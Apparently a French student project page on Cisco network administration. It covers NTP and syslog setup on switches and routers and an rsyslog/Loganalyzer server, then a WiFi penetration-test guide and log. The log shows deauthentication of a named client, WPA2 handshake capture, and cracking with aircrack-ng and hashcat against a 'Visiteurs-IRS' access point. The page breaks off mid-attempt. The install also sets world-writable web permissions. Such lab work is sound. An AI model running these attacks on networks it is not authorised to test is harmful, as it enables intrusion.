    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

# Tâche - Résultat



# Paramètrer la centralisation des données sur l'horaire (service NTP) depuis le router vers les autres périphériques réseaux (routeur - switchs)

## Bilan des commandes SANS Internet

### Routeur

<div id="bkmrk-enable-clock-set-hh%3A"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1p"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 142.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">enable</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">clock set HH:MM:SS 19 March 2026</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">clock timezone CET 1</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">ntp master 3</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">end</div></div></div><div aria-multiline="true" aria-readonly="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="tab-size: 4;" translate="no"><div class="cm-line">write memory</div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp-"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1q"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp status</div></div></div></div></div></div>### Switchs (les deux)

<div id="bkmrk-enable-configure-ter"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">clock timezone CET 1</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 192.168.99.1 // &lt;IP_du_routeur&gt;</div><div class="cm-gutterElement" style="height: 19.2px;">end</div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp--1"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1s"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp associations</div></div></div></div></div></div>### Points importants

- Ne pas mettre `clock summer-time CEST recurring` pour l'instant (on est encore en heure d'hiver, ça décalerait d'1h)
- Remplacer `<IP_du_routeur>` par une IP visible dans `show ip interface brief` sur le routeur
- Le `clock set` est à faire **avant** le `configure terminal`, sinon la commande n'est pas disponible

\--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

## Bilan des commandes AVEC Internet

### Routeur 

<div id="bkmrk-enable-configure-ter-1"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 0.fr.pool.org // serveur de google ntp 1 </div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 1.fr.pool.org // serveur de google ntp 2 si il y a une dépanne d'un serveur de Google</div><div class="cm-gutterElement" style="height: 19.2px;">ntp master 3 // Car on serveur qui possède internet</div><div class="cm-gutterElement" style="height: 19.2px;">ntp source GigabitEthernet0/0/0.999 // Source vlan 999</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">exit </div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>### Switchs 

<div id="bkmrk-enable-configure-ter-2"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 0px; visibility: hidden; pointer-events: none;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">enable</div><div class="cm-gutterElement" style="height: 19.2px;">configure terminal</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">ntp server 192.168.99.1 // &lt;IP_du_routeur&gt;</div><div class="cm-gutterElement" style="height: 19.2px;">clock timezone CET 1 // Fuseau horaire Europe +1h </div><div class="cm-gutterElement" style="height: 19.2px;">clock summer-time CEST recurring last Sun Mar 2:00 last Sun Oct 3:00 // Fuseau horaire +2h si heure d'été</div><div class="cm-gutterElement" style="height: 19.2px;">  
</div><div class="cm-gutterElement" style="height: 19.2px;">exit </div><div class="cm-gutterElement" style="height: 19.2px;">write memory</div></div></div></div></div></div>**Vérification :**

<div id="bkmrk-show-clock-show-ntp--2"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1r"><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 123.2px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px;"><div id="bkmrk-show-clock-show-ntp--3"><div class="cm-editor ͼ1 ͼ2 ͼ4 ͼ1s"><div aria-live="polite" style="position: fixed; top: -10000px;">  
</div><div class="cm-scroller" tabindex="-1"><div aria-hidden="true" class="cm-gutters" style="min-height: 46.4px; position: sticky;"><div class="cm-gutter cm-lineNumbers"><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show clock</div><div class="cm-gutterElement" style="height: 19.2px; margin-top: 4px;">show ntp associations</div></div></div></div></div></div></div></div></div></div></div></div>

# Dresser la liste des différents points devant faire l'objet d'un log au niveau des switch et des routeurs (en fonction de ce qu'il est possible de faire)

### Liste des points loggés

#### Sur les Switches Cisco

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-cat%C3%A9gorie-ce-qui-est"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Catégorie</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Ce qui est loggé</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Commande</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Authentification</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Connexions réussies et échouées SSH/VTY</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`login on-success/failure log`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Configuration</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de config</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`archive log config`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Réseau</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des interfaces (up/down)</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event link-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">STP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de topologie Spanning Tree</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`spanning-tree logging`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Trunk</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des ports trunk</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event trunk-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Système</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Logs en mémoire locale</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging buffered 65536 informational`</td></tr></tbody></table>

</div>#### Sur le Routeur Cisco

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-cat%C3%A9gorie-ce-qui-est-1"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Catégorie</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Ce qui est loggé</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Commande</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Authentification</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Connexions réussies et échouées</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`login on-success/failure log`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Configuration</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements de config</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`archive log config`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Réseau</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Changements d'état des interfaces</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`logging event link-status`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">SSH</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Événements SSH</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`ip ssh logging events`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">NTP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Synchronisation NTP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`ntp logging`</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">ACL</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Trafic bloqué (deny)</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">`log` sur les ACL concernées</td></tr></tbody></table>

</div>

# Paramètrer les logs sur ces différents éléments sur les switchs et les routeurs

### Paramétrage des logs

#### Sur les Switches Cisco (swb - 192.168.99.14 / 192.168.99.13)<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```cisco
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
login on-failure log
login on-success log
archive
 log config
  logging enable
  logging size 200
  notify syslog contenttype plaintext
  hidekeys
spanning-tree logging
logging event link-status  (Fa0/3,6,7,8,16,17,18,19,20,21,22)
logging event trunk-status (Fa0/23, Gi0/1, Gi0/2)
```

#### Sur le Routeur Cisco (r0 - 192.168.99.1)

```cisco
service timestamps log datetime msec localtime show-timezone
logging buffered 65536 informational
logging host 192.168.99.12
logging trap informational
ip ssh logging events
ntp logging
archive
 log config
  logging enable
  notify syslog contenttype plaintext
  hidekeys
logging event link-status (Gi0/0/0, Gi0/0/1)
line vty 0 4
 login local
 transport input ssh
```

Zéro stockage sur le switch

```cisco
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config

! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface Vlan999
logging on

! === AUTHENTIFICATION ===
login on-failure log
login on-success log

! === SPANNING-TREE ===
spanning-tree logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface FastEthernet0/3
 logging event link-status
interface FastEthernet0/6
 logging event link-status
interface FastEthernet0/7
 logging event link-status
interface FastEthernet0/8
 logging event link-status
interface FastEthernet0/16
 logging event link-status
interface FastEthernet0/17
 logging event link-status
interface FastEthernet0/18
 logging event link-status
interface FastEthernet0/19
 logging event link-status
interface FastEthernet0/20
 logging event link-status
interface FastEthernet0/21
 logging event link-status
interface FastEthernet0/22
 logging event link-status

! === TRUNK STATUS ===
interface FastEthernet0/23
 logging event trunk-status
interface GigabitEthernet0/1
 logging event trunk-status
interface GigabitEthernet0/2
 logging event trunk-status
```

Zéro stockage sur le routeur

```cisco
! === TIMESTAMPS ===
service timestamps log datetime msec localtime show-timezone
service sequence-numbers

! === ZÉRO STOCKAGE LOCAL ===
no logging buffered
no logging console
no logging monitor
no archive log config

! === TRANSMISSION VERS LOGANALYZER ===
logging trap informational
logging source-interface GigabitEthernet0/0/0
logging on

! === SSH & NTP ===
ip ssh logging events
ntp logging

! === ÉVÉNEMENTS PAR INTERFACE ===
interface GigabitEthernet0/0/0
 logging event link-status
interface GigabitEthernet0/0/1
 logging event link-status

! === VTY SSH ===
line vty 0 4
 login local
 transport input ssh
```

# Mettre en place un service permettant de recueillir ces logs et de pouvoir les consulter (serveur de logs)

### Serveur de logs

#### Infrastructure mise en place

<div class="overflow-x-auto w-full px-2 mb-6" id="bkmrk-composant-d%C3%A9tail-ser"><table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal"><thead class="text-left"><tr><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Composant</th><th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">Détail</th></tr></thead><tbody><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Serveur</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">VM ubuntu test ProXmox</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">IP</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">192.168.99.7</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">OS</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Ubuntu 22.04.5 LTS</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Service de collecte</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">rsyslog 8.2112.0</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Interface web</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Loganalyzer 4.1.13</td></tr><tr><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">Port d'écoute</td><td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">UDP 514</td></tr></tbody></table>

</div>---

#### 1. Installation rsyslog<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```bash
sudo apt update && sudo apt install rsyslog -y
sudo systemctl enable rsyslog
sudo systemctl start rsyslog
```

#### 2. Activation réception UDP 514

Dans `/etc/rsyslog.conf`, décommenter :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
module(load="imudp")
input(type="imudp" port="514")
```

#### 3. Configuration du tri par équipement

`/etc/rsyslog.d/cisco.conf` :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
:fromhost-ip, isequal, "192.168.99.14" /var/log/cisco/switch_bat_a.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.13" /var/log/cisco/switch_bat_b.log
& /var/log/cisco/all.log
& stop

:fromhost-ip, isequal, "192.168.99.1" /var/log/cisco/routeur.log
& /var/log/cisco/all.log
& stop
```

#### 4. Création du dossier et droits

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--1" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="text-text-500 font-small p-3.5 pb-0"><svg aria-hidden="true" class="transition-all opacity-0 scale-50" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg></div><div class="overflow-x-auto"></div></div>```bash
sudo mkdir -p /var/log/cisco
sudo chown syslog:adm /var/log/cisco
sudo chmod 755 /var/log/cisco
sudo chmod 644 /var/log/cisco/*.log
sudo systemctl restart rsyslog
```

#### 5. Rotation des logs (365 jours)

`/etc/logrotate.d/cisco` :<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```
/var/log/cisco/*.log {
    daily
    rotate 365
    compress
    missingok
    notifempty
    postrotate
        systemctl restart rsyslog
    endscript
}
```

#### 6. Installation Loganalyzer

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--2" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="overflow-x-auto"></div></div>```bash
sudo apt install apache2 php libapache2-mod-php -y
cd /tmp
wget https://download.adiscon.com/loganalyzer/loganalyzer-4.1.13.tar.gz
tar xzvf loganalyzer-4.1.13.tar.gz
sudo cp -r loganalyzer-4.1.13/src /var/www/html/loganalyzer
sudo chmod 777 /var/www/html/loganalyzer
cd /var/www/html/loganalyzer
sudo touch config.php
sudo chmod 666 config.php
```

#### 7. Droits de lecture Loganalyzer

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--3" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div><div class="absolute inset-0 flex items-center justify-center"></div></div></div></div><div class="overflow-x-auto"></div></div>```bash
sudo chmod 644 /var/log/syslog
sudo chmod 644 /var/log/cisco/*.log
```

#### 8. Vérifications<svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>

```bash
# Port 514 ouvert
sudo ss -ulnp | grep 514

# Paquets reçus
sudo tcpdump -i any port 514 -nn

# Fichiers de logs
ls /var/log/cisco/

# Logs en temps réel
tail -f /var/log/cisco/switch_bat_a.log
tail -f /var/log/cisco/switch_bat_b.log
tail -f /var/log/cisco/routeur.log

# Validation config rsyslog
sudo rsyslogd -N1 2>&1
```

#### Résultat final

- Logs reçus en temps réel depuis les 3 équipements
- Fichiers séparés par équipement
- Rotation 365 jours
- Interface web Loganalyzer accessible sur `http://192.168.99.7/loganalyzer`
- Filtrage par Facility, Severity, Hostname disponible

# Déploiement NTP + Syslog

1. NTP - Synchronisation temporelle

Objectif : Garantir une horodatage cohérent sur tous les équipements, indispensable pour corréler les logs.

- Chaque équipement Cisco (switchs + routeur) est configuré en client NTP pointant vers le serveur NTP du projet.
- La commande "ntp server &lt;IP&gt;" est appliquée sur chaque équipement.
- Le service "service timestamps log datetime msec" est ctivé pour horodater les logs avec précision (millisecondes).
- La timezone est uniformisée "clock timezone"

2\. Syslog - Centralisation des journaux

Objectif : Collecter les événements réseau de tous les équipements vers un point central pour analyse et archivage.

Sur les équipements Cisco :

- Envoi des logs vers le NAS : "logging host 192.168.99.7"
- Niveau de sévérité retenu : informational (niveau 6)
- Action des événements pertinents :  
    
    - logging buffered (tampon local)
    - archive log config (changements de configuration)
    - Spanning-Tree, authentification (login), interfaces

Sur le serveur de logs (Ubuntu 22.04.5 LTS)

- Rsyslog configuré pour recevoir les logs UDP / TCP (port 514) et les router par équipement dans "/var/log/cisco/&lt;nom-équipement&gt;.log
- Rotation des logs via "logrotate" avec rétention 365 jours (recommandation ANSSI)
- Loganalyzer déployé comme interface web de consultation et d'analyse des logs

3\. Limitation du buffer de logs sur les Cisco

Objectif : Eviter la saturation de la mémoire des switchs et routeur.

<table border="1" id="bkmrk-logging-buffered-163" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>logging buffered 16384 informational

</td></tr></tbody></table>

- 16384 octets (16Ko) - valeur raisonnable pour un swich/routeur
- Evite la consommation excessive de RAM tout en gardant un historique local court.

<table border="1" id="bkmrk-no-logging-console%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>no logging console OU logging console critical

</td></tr></tbody></table>

Le logging console est très gourmand si une session est active. Le couper ou ne garder que les événements critiques est une bonne pratique.

<table border="1" id="bkmrk-no-logging-monitor" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>no logging monitor

</td></tr></tbody></table>

Inutile en production / démo, consomme des ressources inutilement.

<table border="1" id="bkmrk-logging-host-192.168" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>logging host 192.168.99.7

logging trap informational

</td></tr></tbody></table>

Le NAS stocke, le switch transmet et puis oublie.

# Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.

### Prérequis

Avant de commencer, vérifier que la carte WiFi supporte le **mode moniteur :**

```bash
# Identifier la carte WiFi
iwconfig
airmon-ng check kill          # Stopper les processus conflictuels
airmon-ng start wlan0         # Activer le mode moniteur → wlan0mon
```

### Phase 1 &amp; 2 — Reconnaissance et scan

```bash
# Lister tous les réseaux à portée
airodump-ng wlan0mon

# Cibler la borne de test une fois le BSSID repéré
# (remplacer XX:XX:XX:XX:XX:XX et le canal réel)
airodump-ng -c <canal> --bssid XX:XX:XX:XX:XX:XX -w /root/capture/irs-si wlan0mon
```

Ce que l'on collecte : BSSID, ESSID (SSID), canal, type de chiffrement (WPA2/WPA3), RSSI, liste des clients connectés.

### Phase 3 — Capture du handshake WPA2

Le handshake 4-way s'échange lors de l'association client/AP. On force une reconnexion par déauthentification :

```bash
# Dans un second terminal (laisser airodump-ng tourner)
# -0 : nb de paquets deauth, -a : BSSID AP, -c : MAC client (optionnel)
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon
```

Airodump-ng affiche `WPA handshake: XX:XX:XX...` en haut à droite quand c'est capturé. Le fichier `.cap` est écrit dans `/root/capture/`.

---

### Phase 4 — Craquage du mot de passe

#### Avec aircrack-ng (dictionnaire)

```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
            -b XX:XX:XX:XX:XX:XX /root/capture/irs-si-01.cap
```

#### Avec hashcat (GPU, plus rapide)

```bash
# Convertir le .cap en format hc22000
hcxtools-dpkt -o /root/capture/irs-si.hc22000 /root/capture/irs-si-01.cap
# ou :
cap2hccapx /root/capture/irs-si-01.cap /root/capture/irs-si.hccapx

# Attaque dictionnaire
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt

# Attaque par règles (variantes communes)
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

---

### Phase 5 — Post-exploitation

Une fois le mot de passe obtenu :

```bash
# Reconnecter Kali sur le réseau WiFi de test
nmcli dev wifi connect "<SSID>" password "<motdepasse>" ifname wlan0

# Scan du réseau interne (VLAN 40)
nmap -sV -O 192.168.10.192/27

# Identifier hôtes actifs
nmap -sn 192.168.10.192/27
```

# Kali outil utilisé

#### Cible identifiée

- **SSID** : `Visiteurs-IRS`
- **BSSID** : `70:F3:5A:27:95:30`
- **Canal** : 1
- **Chiffrement** : WPA2 CCMP PSK
- **Puissance** : -46 dBm (signal fort, proximité immédiate)
- **WPS** : activé (avec Fern)
- **Client connecté** : `2A:B7:E8:82:79:BE`

---

#### Phase 1 — Préparation de l'interface

```bash
airmon-ng check kill
airmon-ng start wlan0mon
iwconfig wlan0mon
```

Résultat : `wlan0mon` en **Mode Monitor**, fréquence 2.442 GHz (canal 6 par défaut, reconfiguré ensuite sur canal 1).

---

#### Phase 2 — Scan des réseaux

`airodump-ng` a détecté **235 AP** au total dans l'environnement (visible dans Fern). Le scan a permis d'identifier `Visiteurs-IRS` parmi d'autres réseaux présents (StJoCampus, StJoLaSalle, StJoProf, Freebox, SNIR\_cyber, MC…).

---

#### Phase 3 — Ciblage et capture du trafic

```bash
sudo airodump-ng -c 1 --bssid 70:F3:5A:27:95:30 -w capture_wifi wlan0mon
```

Fichier créé : `capture_wifi-02.cap` — 3061 paquets capturés. Le client `2A:B7:E8:82:79:BE` est visible avec 7449 frames et des trames **EAPOL** (échanges du handshake).

---

#### Phase 4 — Déauthentification

```bash
sudo aireplay-ng --deauth 10 -a 70:F3:5A:27:95:30 -c 2A:B7:E8:82:79:BE wlan0mon
```

10 paquets DeAuth dirigés envoyés au client `2A:B7:E8:82:79:BE` entre 09:00:26 et 09:00:31. Le client a été forcé à se reconnecter, déclenchant l'échange du handshake WPA2.

---

#### Phase 5 — Validation du handshake

<div aria-label="Code bash" class="relative group/copy bg-bg-000/50 border-0.5 border-border-400 rounded-lg focus:outline-none focus-visible:ring-2 focus-visible:ring-accent-100" id="bkmrk--5" role="group" tabindex="0"><div class="sticky opacity-0 group-hover/copy:opacity-100 group-focus-within/copy:opacity-100 top-2 py-2 h-12 w-0 float-right"><div class="absolute right-0 h-8 px-2 items-center inline-flex z-10"><div class="relative"><div class="transition-all opacity-100 scale-100" style="width: 20px; height: 20px; display: flex; align-items: center; justify-content: center;"><svg aria-hidden="true" class="transition-all opacity-100 scale-100" fill="currentColor" height="20" style="flex-shrink: 0;" viewbox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"></svg>  
</div></div></div></div><div class="overflow-x-auto">  
</div></div>```bash
sudo aircrack-ng capture_wifi-02.cap
```

Résultat : **WPA (1 handshake)** confirmé pour `Visiteurs-IRS` / `70:F3:5A:27:95:30`. Le fichier `.cap` est valide et exploitable.

---

#### Phase 6 — Craquage du mot de passe

**Tentative 1 — rockyou.txt** (14 344 391 entrées) :

- Vitesse : 3230 k/s
- Temps estimé : 1h12 — mot de passe non trouvé dans rockyou (gros fichier avec 14 millions de mot de passe)

**Tentative 2 — wordlistperso.txt** (liste personnalisée) :

